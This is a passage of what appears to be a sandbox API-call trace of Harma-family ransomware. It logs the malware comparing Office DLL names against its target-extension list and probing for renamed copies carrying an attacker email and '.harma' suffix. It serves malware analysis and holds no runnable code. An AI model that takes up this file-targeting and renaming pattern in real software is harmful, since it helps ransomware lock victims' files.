Office\\Office14\\ACCDDS.DLL") returned 53 [0166.636] lstrlenW (lpString=".1cd") returned 4 [0166.636] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0166.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0166.637] lstrlenW (lpString=".jpg") returned 4 [0166.637] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0166.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0166.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0166.637] lstrlenW (lpString=".doc") returned 4 [0166.637] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0166.637] lstrlenW (lpString=".docx") returned 5 [0166.637] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0166.637] lstrlenW (lpString=".pdf") returned 4 [0166.637] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0166.637] lstrlenW (lpString=".xls") returned 4 [0166.637] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0166.637] lstrlenW (lpString=".xlsx") returned 5 [0166.637] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0166.637] lstrlenW (lpString=".ppt") returned 4 [0166.637] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0166.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0166.637] lstrlenW (lpString=".zip") returned 4 [0166.637] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0166.637] lstrlenW (lpString=".rar") returned 4 [0166.637] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0166.637] lstrlenW (lpString=".bz2") returned 4 [0166.637] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0166.637] lstrlenW (lpString=".7z") returned 3 [0166.637] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0166.637] lstrlenW (lpString=".dbf") returned 4 [0166.637] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0166.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0166.638] lstrlenW (lpString=".1cd") returned 4 [0166.638] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0166.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0166.638] lstrlenW (lpString=".jpg") returned 4 [0166.638] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0166.638] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0166.638] lstrlenW (lpString="ACCDDSF.DLL") returned 11 [0166.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.673] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=579488) returned 1 [0166.673] CloseHandle (hObject=0x3a0) returned 1 [0166.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll")) returned 0x20 [0166.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0166.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0166.745] lstrlenW (lpString=".doc") returned 4 [0166.745] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0166.745] lstrlenW (lpString=".docx") returned 5 [0166.745] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0166.745] lstrlenW (lpString=".pdf") returned 4 [0166.745] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0166.745] lstrlenW (lpString=".xls") returned 4 [0166.745] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0166.745] lstrlenW (lpString=".xlsx") returned 5 [0166.745] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0166.745] lstrlenW (lpString=".ppt") returned 4 [0166.745] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0166.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0166.745] lstrlenW (lpString=".zip") returned 4 [0166.745] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0166.745] lstrlenW (lpString=".rar") returned 4 [0166.745] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0166.745] lstrlenW (lpString=".bz2") returned 4 [0166.745] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0166.745] lstrlenW (lpString=".7z") returned 3 [0166.745] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0166.745] lstrlenW (lpString=".dbf") returned 4 [0166.745] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0166.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0166.745] lstrlenW (lpString=".1cd") returned 4 [0166.745] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0166.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0166.746] lstrlenW (lpString=".jpg") returned 4 [0166.746] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0166.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0166.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0166.746] lstrlenW (lpString=".doc") returned 4 [0166.746] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0166.746] lstrlenW (lpString=".docx") returned 5 [0166.746] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0166.746] lstrlenW (lpString=".pdf") returned 4 [0166.746] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0166.746] lstrlenW (lpString=".xls") returned 4 [0166.746] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0166.746] lstrlenW (lpString=".xlsx") returned 5 [0166.746] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0166.746] lstrlenW (lpString=".ppt") returned 4 [0166.746] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0166.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0166.746] lstrlenW (lpString=".zip") returned 4 [0166.746] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0166.746] lstrlenW (lpString=".rar") returned 4 [0166.746] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0166.746] lstrlenW (lpString=".bz2") returned 4 [0166.746] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0166.746] lstrlenW (lpString=".7z") returned 3 [0166.746] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0166.746] lstrlenW (lpString=".dbf") returned 4 [0166.747] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0166.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0166.747] lstrlenW (lpString=".1cd") returned 4 [0166.747] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0166.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0166.747] lstrlenW (lpString=".jpg") returned 4 [0166.747] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0166.747] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0166.747] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0166.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.748] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=744888) returned 1 [0166.748] CloseHandle (hObject=0x3a4) returned 1 [0166.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll")) returned 0x20 [0166.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0166.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0166.749] lstrlenW (lpString=".doc") returned 4 [0166.749] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0166.749] lstrlenW (lpString=".docx") returned 5 [0166.749] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0166.749] lstrlenW (lpString=".pdf") returned 4 [0166.749] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0166.749] lstrlenW (lpString=".xls") returned 4 [0166.749] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0166.749] lstrlenW (lpString=".xlsx") returned 5 [0166.749] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0166.749] lstrlenW (lpString=".ppt") returned 4 [0166.749] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0166.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0166.749] lstrlenW (lpString=".zip") returned 4 [0166.749] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0166.749] lstrlenW (lpString=".rar") returned 4 [0166.749] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0166.749] lstrlenW (lpString=".bz2") returned 4 [0166.749] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0166.749] lstrlenW (lpString=".7z") returned 3 [0166.749] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0166.749] lstrlenW (lpString=".dbf") returned 4 [0166.749] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0166.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0166.749] lstrlenW (lpString=".1cd") returned 4 [0166.749] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0166.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0166.749] lstrlenW (lpString=".jpg") returned 4 [0166.749] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0166.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0166.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0166.750] lstrlenW (lpString=".doc") returned 4 [0166.750] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0166.750] lstrlenW (lpString=".docx") returned 5 [0166.750] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0166.750] lstrlenW (lpString=".pdf") returned 4 [0166.750] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0166.750] lstrlenW (lpString=".xls") returned 4 [0166.750] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0166.750] lstrlenW (lpString=".xlsx") returned 5 [0166.750] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0166.750] lstrlenW (lpString=".ppt") returned 4 [0166.750] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0166.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0166.750] lstrlenW (lpString=".zip") returned 4 [0166.750] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0166.750] lstrlenW (lpString=".rar") returned 4 [0166.750] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0166.750] lstrlenW (lpString=".bz2") returned 4 [0166.750] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0166.750] lstrlenW (lpString=".7z") returned 3 [0166.750] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0166.750] lstrlenW (lpString=".dbf") returned 4 [0166.750] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0166.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0166.750] lstrlenW (lpString=".1cd") returned 4 [0166.750] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0166.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACEDAO.DLL") returned 53 [0166.751] lstrlenW (lpString=".jpg") returned 4 [0166.751] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0166.751] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0166.751] lstrlenW (lpString="ACCOLK.DLL") returned 10 [0166.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.754] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=123784) returned 1 [0166.754] CloseHandle (hObject=0x3a4) returned 1 [0166.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll")) returned 0x20 [0166.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\accolk.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0166.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0166.754] lstrlenW (lpString=".doc") returned 4 [0166.754] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0166.754] lstrlenW (lpString=".docx") returned 5 [0166.754] lstrcmpiW (lpString1=".docx", lpString2="K.DLL") returned -1 [0166.755] lstrlenW (lpString=".pdf") returned 4 [0166.755] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0166.755] lstrlenW (lpString=".xls") returned 4 [0166.755] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0166.755] lstrlenW (lpString=".xlsx") returned 5 [0166.755] lstrcmpiW (lpString1=".xlsx", lpString2="K.DLL") returned -1 [0166.755] lstrlenW (lpString=".ppt") returned 4 [0166.755] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0166.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0166.755] lstrlenW (lpString=".zip") returned 4 [0166.755] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0166.755] lstrlenW (lpString=".rar") returned 4 [0166.755] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0166.755] lstrlenW (lpString=".bz2") returned 4 [0166.755] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0166.755] lstrlenW (lpString=".7z") returned 3 [0166.755] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0166.755] lstrlenW (lpString=".dbf") returned 4 [0166.755] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0166.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0166.755] lstrlenW (lpString=".1cd") returned 4 [0166.755] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0166.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0166.755] lstrlenW (lpString=".jpg") returned 4 [0166.755] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0166.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0166.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0166.756] lstrlenW (lpString=".doc") returned 4 [0166.756] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0166.756] lstrlenW (lpString=".docx") returned 5 [0166.756] lstrcmpiW (lpString1=".docx", lpString2="K.DLL") returned -1 [0166.756] lstrlenW (lpString=".pdf") returned 4 [0166.756] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0166.756] lstrlenW (lpString=".xls") returned 4 [0166.756] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0166.756] lstrlenW (lpString=".xlsx") returned 5 [0166.756] lstrcmpiW (lpString1=".xlsx", lpString2="K.DLL") returned -1 [0166.756] lstrlenW (lpString=".ppt") returned 4 [0166.756] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0166.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0166.756] lstrlenW (lpString=".zip") returned 4 [0166.756] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0166.756] lstrlenW (lpString=".rar") returned 4 [0166.756] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0166.756] lstrlenW (lpString=".bz2") returned 4 [0166.756] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0166.756] lstrlenW (lpString=".7z") returned 3 [0166.756] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0166.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0166.756] lstrlenW (lpString=".dbf") returned 4 [0166.756] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0166.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0166.756] lstrlenW (lpString=".1cd") returned 4 [0166.756] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0166.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ACCOLK.DLL") returned 60 [0166.756] lstrlenW (lpString=".jpg") returned 4 [0166.756] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0166.757] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0166.757] lstrlenW (lpString="BCSAddin.dll") returned 12 [0166.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\bcsaddin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.760] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=190336) returned 1 [0166.760] CloseHandle (hObject=0x3a4) returned 1 [0166.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\bcsaddin.dll")) returned 0x20 [0166.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\bcsaddin.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\bcsaddin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0166.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0166.820] lstrlenW (lpString=".doc") returned 4 [0166.820] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.820] lstrlenW (lpString=".docx") returned 5 [0166.820] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0166.820] lstrlenW (lpString=".pdf") returned 4 [0166.820] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.821] lstrlenW (lpString=".xls") returned 4 [0166.821] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.821] lstrlenW (lpString=".xlsx") returned 5 [0166.821] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0166.821] lstrlenW (lpString=".ppt") returned 4 [0166.821] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0166.821] lstrlenW (lpString=".zip") returned 4 [0166.821] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.821] lstrlenW (lpString=".rar") returned 4 [0166.821] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.821] lstrlenW (lpString=".bz2") returned 4 [0166.821] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.821] lstrlenW (lpString=".7z") returned 3 [0166.821] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0166.821] lstrlenW (lpString=".dbf") returned 4 [0166.821] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0166.821] lstrlenW (lpString=".1cd") returned 4 [0166.821] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0166.821] lstrlenW (lpString=".jpg") returned 4 [0166.821] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0166.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0166.821] lstrlenW (lpString=".doc") returned 4 [0166.822] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.822] lstrlenW (lpString=".docx") returned 5 [0166.822] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0166.822] lstrlenW (lpString=".pdf") returned 4 [0166.822] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.822] lstrlenW (lpString=".xls") returned 4 [0166.822] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.822] lstrlenW (lpString=".xlsx") returned 5 [0166.822] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0166.822] lstrlenW (lpString=".ppt") returned 4 [0166.822] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0166.822] lstrlenW (lpString=".zip") returned 4 [0166.822] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.822] lstrlenW (lpString=".rar") returned 4 [0166.822] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.822] lstrlenW (lpString=".bz2") returned 4 [0166.822] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.822] lstrlenW (lpString=".7z") returned 3 [0166.822] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0166.822] lstrlenW (lpString=".dbf") returned 4 [0166.822] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0166.822] lstrlenW (lpString=".1cd") returned 4 [0166.822] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\BCSAddin.dll") returned 62 [0166.822] lstrlenW (lpString=".jpg") returned 4 [0166.823] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.823] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0166.823] lstrlenW (lpString="ColleagueImport.dll") returned 19 [0166.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\colleagueimport.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.824] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=95104) returned 1 [0166.824] CloseHandle (hObject=0x378) returned 1 [0166.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\colleagueimport.dll")) returned 0x20 [0166.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft 